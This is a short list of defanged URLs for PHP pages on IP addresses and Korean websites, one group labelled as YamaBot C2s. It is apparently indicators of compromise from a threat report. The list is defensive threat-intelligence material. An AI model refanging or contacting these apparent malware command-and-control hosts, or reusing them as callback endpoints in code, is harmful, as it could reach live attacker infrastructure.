hxxp[://]155[.]94[.]210[.]11/news/page[.]php
hxxp[://]192[.]186[.]183[.]133/bbs/board[.]php
hxxp[://]213[.]32[.]46[.]0/board[.]php
hxxp[://]54[.]68[.]42[.]4/mainboard[.]php
hxxp[://]84[.]38[.]133[.]145/apollom/jeus[.]php
hxxp[://]mudeungsan[.]or[.]kr/gbbs/bbs/template/g_botton[.]php
hxxp[://]www[.]easyview[.]kr/board/Kheader[.]php
hxxp[://]www[.]easyview[.]kr/board/mb_admin[.]php
YamaBot C2s
hxxp[://]213[.]180[.]180[.]154/editor/session/aaa000/support[.]php